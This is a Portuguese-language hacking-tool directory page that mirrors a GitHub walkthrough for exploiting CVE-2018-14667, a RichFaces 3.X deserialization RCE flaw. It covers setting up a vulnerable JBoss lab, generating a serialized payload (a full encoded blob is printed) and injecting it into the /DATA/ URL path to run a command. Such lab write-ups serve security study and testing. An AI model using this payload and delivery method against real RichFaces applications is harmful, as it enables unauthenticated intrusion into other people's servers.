Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2018-14667 — Tudo sobre o CVE-2018-14667; Desde o que é até como explorá-lo com sucesso. | Kitploit
Ferramentas/GitHubGitHub/syriusbughunt/cve-2018-14667
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebAprendizado e EducaçãoDesenvolvimento de PayloadsLabs e Prática
GitHubsyriusbughunt/cve-2018-14667

CVE-2018-14667

Tudo sobre o CVE-2018-14667; Desde o que é até como explorá-lo com sucesso.

Ver Repositório
5092há 7 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2018-14667

Depois de gastar muito tempo para entender e explorar corretamente esta CVE, decidi criar um repositório sobre a falha de RCE no RichFaces 3.X e compartilhar os HOWTOs passo a passo com a comunidade.

0x00 : Introdução sobre a falha do RichFaces 3.X

Na segunda-feira, 19 de novembro, Joao F M Figueiredo publicou um artigo bem detalhado (https://seclists.org/fulldisclosure/2018/Nov/47) sobre uma vulnerabilidade crítica de alto risco no RichFaces.
Pontuação Base CVSS3 9.8

Essa vulnerabilidade permitirá que qualquer usuário não autenticado execute código remotamente em qualquer aplicação web que use RichFaces 3.X (todas as versões), o que é praticamente o pior cenário possível.

0x01 : Fui afetado? 

Bem, se você está executando RichFaces 3.X (qualquer versão do RichFaces 3) e vê o seguinte código no seu código-fonte, é bem provável que sim, você pode estar vulnerável à execução remota de código na CVE-2018-14667:

  • org.ajax4jsf.resource.InternetResource
  • org.ajax4jsf.resource.SerializableResource
  • javax.el.Expression
  • javax.faces.el.MethodBinding
  • javax.faces.component,StateHolderSaver
  • java.awt.Color

0x02 : Executando um ambiente vulnerável para testar a falha 

Vou basicamente reexplicar o que já foi abordado no artigo do seclists.org sobre como implantar um ambiente vulnerável.

  1. Baixe o JBoss 5.1.0GA e uma aplicação demo com RichFaces que contém o aplicativo PhotoAlbum.
    → http://downloads.jboss.org/richfaces/releases/3.3.X/3.3.4.Final/richfaces-examples-3.3.4.Final.zip
    → https://sourceforge.net/projects/jboss/files/JBoss/JBoss-5.1.0.GA/
  2. Descompacte o arquivo ZIP.
  3. Copie a aplicação richfaces-examples-3.3.4.Final/photoalbum/dist/photoalbum-ear-3.3.4.Final.ear para o diretório de implantação do JBoss jboss-5.1.0.GA/server/default/deploy/
  4. Inicie o servidor de aplicação JBoss usando a seguinte sintaxe (certifique-se antes de iniciar que sua porta 8080 não está em uso): cd bin ; ./run.sh -b 0.0.0.0
  5. Você precisará acessar a página inicial do PhotoAlbum para ativar a aplicação web.

0x03 : Gerando um payload válido 

Agora a parte divertida! Foi aqui que encontrei dificuldades, então explicarei em detalhes como gerar um payload válido e sem repetir os mesmos erros que cometi. Sugiro primeiro usar o Eclipse para compilar o payload.

  1. Baixe o Eclipse no seguinte link:
    → https://www.eclipse.org/downloads/
  2. Inicie o Eclipse e escolha criar um novo Web Project.
  3. Obtenha o gerador de payload (os créditos vão para orich1 do https://xz.aliyun.com/t/3264) disponível neste repositório
    → https://raw.githubusercontent.com/syriusbughunt/CVE-2018-14667/master/Main.java
  4. Extraia o arquivo WAR deste repositório (richfaces-demo-3.3.0.GA-tomcat6.war), copie todos os arquivos .jar da pasta WEB-INF/lib/ para WebContent/WEB-INF/lib/ no seu Java Web Project no Eclipse
    → https://github.com/syriusbughunt/CVE-2018-14667/blob/master/richfaces-demo-3.3.0.GA-tomcat6.war
  5. Adicione o arquivo Main.java no Eclipse; clique com o botão direito no nome do seu Java Web Project no Eclipse, New, File.
  6. Torne a pasta WebContent/WEB-INF/lib a fonte do Build Path no Eclipse; clique com o botão direito na pasta lib, Build Path, Use as Source Folder.
  7. Vamos ver se você tem sorte; clique no botão verde Play para executar o compilador. Se você obtiver 0 erros e um payload válido na saída, parabéns, agora você tem um payload válido para CVE-2018-14667. Agora, se você estiver tendo todo tipo de erros, não entre em pânico. Talvez seja melhor comentar as seguintes linhas: 29,30,31,32,33,34,35 para que fique assim:
root@kitploit:~
        // Class clazz = Class.forName("javax.el.MethodExpression");
        // Field field = clazz.getField("serialVersionUID");
        // field.setAccessible(true);
        // Field modifiersField = Field.class.getDeclaredField("modifiers");
        // modifiersField.setAccessible(true);
        // modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
        // field.setLong(null, MethodExpressionSerialVersionUID);

O resultado da saída no Eclipse deve ser semelhante ao seguinte:

root@kitploit:~
/DATA/eAHNVU1rE0EYnkarbf2qtqhVhLiKTUVmW6mHWgOFKiqkFpq2fvQgk82bZOJ-dWY2WSwVRUSwIkjxpiJ4bS!6B!ToJ9Jf4EEREUEE8SbOzKaJDeqhp-xpZvfZ533med59d-ErauYMHfRYHpMiCfuLPIcZcC9gFuAJDmysstk!wehxIghSV8eRLzG0NoU2WQyIgGHPFeAKgbaliqRETJu4eXM0UwRLDKbQegh9Kjmn0RXUlEItjpelOQrZyr65ROwA9Cb0pZYDiiLEOWIBx5bn-J4ruXFayEKnPDsLLE1KwM6!fJqcv!9mJIZiKdRq2YTzM8SBlRrSglE3LzW0cflOVnMItD1SST0zDYwSm14mGRsGQ1-V75YlMQ9cLcAGwTHYeJzkR0AUvOyJ0Jcn4dRztQ8INW1EKGSoKxItofW4J-bLuQ8!--!ENK6jiqsxPb5xK!39wtIxhVAKBlQYjFqFyIKAYuL7NrWIkGUjH-qLnGUSAgwn7l07ujD2UXvSmSEcohBqtQTapQ8fmmCbk8r42jNp0zqfMB3k7hqqvtZgqLJqkULjSmgx43HtUR3bace3BxZn287Ni-7Io53Vs9dBy21Xp94!-3VXGaC4W8uP0PV9MwymA-AC50EMq3gTPdVlyiOyD-QNWy6ih4Zix6rz8FjgCuqAofGR!IQhWWr3qVvyLkHCDWy7B0MIVsIQXmAV4qZwfJOoy-iZ!U-qvh9KA!auMKDeKOVA5tuOHxuebx1RDmjbyjcb42goYKhjSqccmVb5VBaXJj993jNzUjej7PGYQJ3aWerh0UD4gZBAII5A7TXDoy6TnpSX0Duz2rqmA1lKordMCIn0A7hZ9CGf1mscFoRjx4d6D!XGh!r6Dvf1J40VAyXZAE1ghHpwrdGj6R-zoa6f!xwNKvR2zbCl!ADNNcCB4hCNY7RZBxgIamM52EHF9xa9Xl18BTleL-YCN2lU2BsrOpVCVyWFh-h2I6Sw!Bf8Wwyv0IvVxVAMuEgay9SNkYFALao7xuUo!w0w9PXD.jsf

0x04 : Enviando seu payload e obtendo execução remota de código 

Navegue no seu navegador até o servidor JBoss local executando o PhotoAlbum Web Application http://192.168.100.2:8080/photoalbum e clique com o botão direito para ver o código-fonte da página. Pressione Ctrl+F e procure por '/DATA/'. Você deve encontrar algo semelhante a isto:

root@kitploit:~
src="/photoalbum/a4j/s/3_3_3.Finalorg.ajax4jsf.resource.UserResource/n/n/DATA/eAF1Uk1rFEEQrQwGEz9AXVFyCMQoCiI9JCZeYkBQ0cCsQccI6ql2pna2h57ptrtndzDozYuCF6!evOpFf4HXgJf8BkFEBBHEq929QUnAvlXx6r1Xr!rtd5g0Gs5LXTAssV0qTZ9pMrLRGbENQ!rOTnFmQ!NraBH86yx!i2BfAoczTWjpqqwt1dbCsaTEIcYC6yJe75WU2ZUE9lOruON8BE9hIoGpSua8zynfqSeHKBoKRaucl7OeomV9zMiwTFZK1o6bpdYJ3ZQiJ53ikPT9rQ-rr15!6kYQJTCdCTTmFla020NqNa8L5-GAcTN54LBwYuySyzglzVHwx9gTtNIqL3!OSTLT1MGAIGsYCXYXiy7Zgcyvt8ptYrisQw4AE4cAWg0zY9MOuhf3Pt568fn30sso4Dp!cf-Y3jx7nv58sH3ZI7yDU!4YZU-aIL2Xb61Sovfj5K-DH492vbYPbmo0CzOnN3mFBSUSXURMIa!tmm88AWg0dB6GpZk!jcsyxPJu-96Xr7ObN4Kw2yeycNz7Y1yy9caqxjogYWXhSGiH2fFZlWpHKdyOeZ2JJicTB-3YCO6KgRyxdmArMXfl4sKFhcVLc7u-yer8f63OuxuoP9Xj4!8_" style="opacity: 0.1" class="main-image"><span class="rich-tool-tip tooltip" 

Você pode ver claramente o objeto serializado. É aqui que substituiremos o objeto serializado pelo nosso payload para obter a execução remota de código. No seu navegador, altere a URL para http://192.168.100.2:8080/photoalbum/a4j/s/3_3_3.Finalorg.ajax4jsf.resource.UserResource/n/n/DATA/YOUR-PAYLOAD-GENERATED-IN-ECLIPSE. Meu payload estava executando o seguinte comando 'touch /tmp/PoorRichFaces'. Vejamos se tive sucesso:

root@kitploit:~
drwxrwxrwt 12 root   root    32768 Nov 30 01:45 .
drwxr-xr-x 25 root   root     4096 Nov 25 12:57 ..
-rw-rw-r--  1 syrius syrius      0 Nov 30 1:27 PoorRichFaces 

Sensação boa, não é? Acabamos de obter RCE em uma aplicação web Java executando RichFaces 3.X.

0x05 : Como corrigir? 

Você pode não gostar desse fato, então prepare-se e segure firme no seu teclado; o RichFaces chegou ao fim da vida útil em relação ao suporte do produto, então os usuários (você) devem aplicar seu próprio patch. Não entre em pânico, se você não encontrar uma maneira de corrigir, não hesite em me contatar, podemos fazer um acordo para que eu possa corrigir suas aplicações web Java.

E-mail: [email protected]

Baixar ferramenta